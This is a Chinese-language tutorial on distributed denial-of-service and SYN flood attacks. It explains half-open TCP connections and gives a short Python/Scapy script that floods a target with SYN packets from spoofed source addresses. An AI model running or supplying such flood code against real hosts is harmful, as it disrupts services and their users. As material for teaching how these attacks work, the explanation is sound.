分布式拒絕服務攻擊
分布式拒絕服務(DDoS:Distributed Denial of Service)攻擊指借助於客戶/服務器技術,將多個計算機聯合起來作為攻擊平台,對一個或多個目標發動DDoS攻擊,從而成倍地提高拒絕服務攻擊的威力。通常,攻擊者使用一個偷竊帳號將DDoS主控程序安裝在一個計算機上,在一個設定的時間主控程序將與大量代理程序通訊,代理程序已經被安裝在網絡上的許多計算機上。代理程序收到指令時就發動攻擊。利用客戶/服務器技術,主控程序能在幾秒鍾內激活成百上千次代理程序的運行.
攻擊性質
什么是SYN泛洪攻擊
首先實現SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務器發送SYN報文之后就不再響應服務器回應的報文,由於服務器在處理TCP請求時,會在協議棧留一塊緩沖區來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協議棧中存儲的數據就會被丟棄。攻擊者如果利用這段時間發送了大量的連接請求,全部掛起在半連接狀態,這樣將不斷消耗服務器資源,直到拒接服務。
Scapy是一個強大的交互式數據包處理程序,可以用來發送、嗅探、解析和偽造網絡數據包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3==0.18
構造一個簡單的數據包
pkt = IP(dst="192.168.0.100")

構建數據包並發送

代碼實現
現在我們要用Python以第三方庫的形式使用Scapy,使用方法和用交互式Shell的方式一樣,注意:使用前要先導Scapy的包:
from scapy.all import
之前我們已經構造過了SYN數據包,現在我們需要實現隨機偽造源IP地址、以及以不同的源端口向目標主機發送SYN數據包:
import random from scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)
在代碼中我定義了srcList用於存放偽造的IP地址,之后定義了一個循環,作用是每次發送數據包源端口都改變,可以看到在構造TCP數據包的時候我們增加了一個參數sport,循環中改變的端口號就是給了sport這個參數。我們還調用random.randrange()函數來隨機從srcList中獲取一個偽造的IP地址。
至此我們本次實驗就完成了,雖然代碼非常少不過功能我們卻實現的比較理想,這主要是因為Python的語法本身非常簡潔,再加上Scapy封裝的也非常好,才會讓我們寫出即簡潔功能又強大的代碼。
DDoS攻擊
類似上面這個syn洪流,只是DDoS采用的是多個客戶端在服務器的命令下,一起像一個網站攻擊.

